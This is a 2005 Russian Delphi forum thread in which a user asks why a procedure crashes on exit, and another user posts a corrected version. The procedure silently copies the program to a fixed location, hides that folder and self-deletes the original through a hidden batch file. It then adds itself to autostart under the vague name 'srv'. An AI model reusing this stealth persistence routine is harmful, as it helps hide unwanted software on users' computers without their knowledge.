Форум программистов [Powered by Invision Power Board]

Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате

Форум программистов > Delphi: WinAPI и системное программирование > Ошибка

Автор: Felt 21.5.2005, 18:57

Код


procedure CheckPath;
var
FuncParam: TSHFileOpStruct;
hFile: THandle;
Buffer: String;
nRead: Cardinal;
Key: HKEY;
Data: Pointer;
begin
if LowerCase(ParamStr(0)) <> LowerCase(FileName) then
 begin
  // Если прога запущена с какого то левого места, тода
  // 1. Копируем ее куда надо
  FillChar(FuncParam, SizeOf(FuncParam), 0);
  FuncParam.wFunc:=FO_COPY;
  FuncParam.pFrom:=PChar(ParamStr(0));
  FuncParam.pTo:=PChar(FileName);
  FuncParam.fFlags:=FOF_NOCONFIRMMKDIR or FOF_NOCONFIRMATION;
  SHFileOperation(FuncParam);
  // 2. Скрываем папку из виду
  SetFileAttributes(PChar(ExtractFilePath(FileName)), FILE_ATTRIBUTE_HIDDEN);
  // 3. Даем запрос на самоуничтожение
  hFile:=CreateFile(PChar(ExtractFilePath(FileName)+'\DelExe.bat'), GENERIC_WRITE, FILE_SHARE_DELETE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0);
  Buffer:=':l'#13#10'ERASE "'+ParamStr(0)+'"'#13#10'IF EXIST "'+ParamStr(0)+'" GOTO l'#13#10'del DelExe.bat';
  CharToOem(PChar(Buffer), PChar(Buffer));
  WriteFile(hFile, Buffer[1], Length(Buffer), nRead, nil);
  CloseHandle(hFile);
  WinExec(PChar(ExtractFilePath(FileName)+'DelExe.bat'), sw_hide);
  // 4. Прописываемся в автозагрузку
  if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_WRITE, Key) = ERROR_SUCCESS then
   begin
    Buffer:=FileName;
    nRead:=Length(FileName);
    GetMem(Data, nRead);
    Data:=PChar(Buffer);
    RegSetValueEx(Key, 'srv', 0, REG_SZ, Data, nRead);
    FreeMem(Data);
    RegCloseKey(Key);
   end;
  // 5. Выгружаемся из памяти
  ExitProcess(0);
 end;
end;

При выполнении этой процедуры, в момент выгрузки ее из памяти происходит ошибка Runtime error.
Вроде все верно написано. Как лечить?
P. S. Подключенные модули - Windows и ShellAPI. Некоторые процедуры реализованы самостоятельно (LowerCase, ExtractFilePath и др.)

Автор: Albinos_x 21.5.2005, 19:40

это происходит, потому что при завершении она уже удалена. вероятно, нужно сначало её завершить, а потом удалять.

Автор: Felt 21.5.2005, 22:19

Невозможно... Запрос на удаление есть, но процесс еще не завершился, а значит не может и удалится (такая уж политика в Windows). Запрос на удаление представляет собой запись файла bat и его запуск. Bat-ник пытается
1. Удалить файл
2. Проверяет наличие этого файла
3. Если находит возвращается к п. 1
4. Если не находит удаляется сам.

Ошибка в чем то другом...

Автор: Girder 22.5.2005, 03:10

Код

procedure CheckPath;
var
FuncParam: TSHFileOpStruct;
hFile: THandle;
Buffer: String;
nRead: Cardinal;
Key: HKEY;
Path:PChar;

begin
if CompareString(LOCALE_SYSTEM_DEFAULT,NORM_IGNORECASE,PChar(ParamStr(0)),Length(ParamStr(0)),PChar(FileName),Length(FileName))<>2 then
 begin
  // Если прога запущена с какого то левого места, тода
  // 1. Копируем ее куда надо
  FillChar(FuncParam, SizeOf(FuncParam), 0);
  FuncParam.wFunc:=FO_COPY;
  FuncParam.pFrom:=PChar(ParamStr(0));
  FuncParam.pTo:=PChar(FileName);
  FuncParam.fFlags:=FOF_NOCONFIRMMKDIR or FOF_NOCONFIRMATION;
  SHFileOperation(FuncParam);
  // 2. Скрываем папку из виду
  GetMem(Path,Max_Path*10);
  ZeroMemory(Path,Max_Path*10);
  GetTempPath(Max_Path*10,Path);

  // 3. Даем запрос на самоуничтожение
  hFile:=CreateFile(PChar(string(Path)+'\DelExe.bat'), GENERIC_WRITE, FILE_SHARE_DELETE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_Normal, 0);
  Buffer:=':l'#13#10'ERASE "'+ParamStr(0)+'"'#13#10'IF EXIST "'+ParamStr(0)+'" GOTO l'#13#10'del '+String(Path)+'\DelExe.bat';
  CharToOem(PChar(Buffer), PChar(Buffer));
  WriteFile(hFile, Buffer[1], Length(Buffer), nRead, nil);
  CloseHandle(hFile);
  WinExec(PChar(string(Path)+'\DelExe.bat'), sw_hide);
  // 4. Прописываемся в автозагрузку
  if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS, Key) = ERROR_SUCCESS then
   begin
    RegSetValueEx(Key,PChar('srv'),0,REG_SZ,@FileName[1],Length(FileName));
    RegCloseKey(Key);
   end;
  // 5. Выгружаемся из памяти
  FreeMem(Path,Max_Path*10);
  ExitProcess(0);
 end;
end;

Автор: Felt 22.5.2005, 10:57

Спасибо, сейчас проверю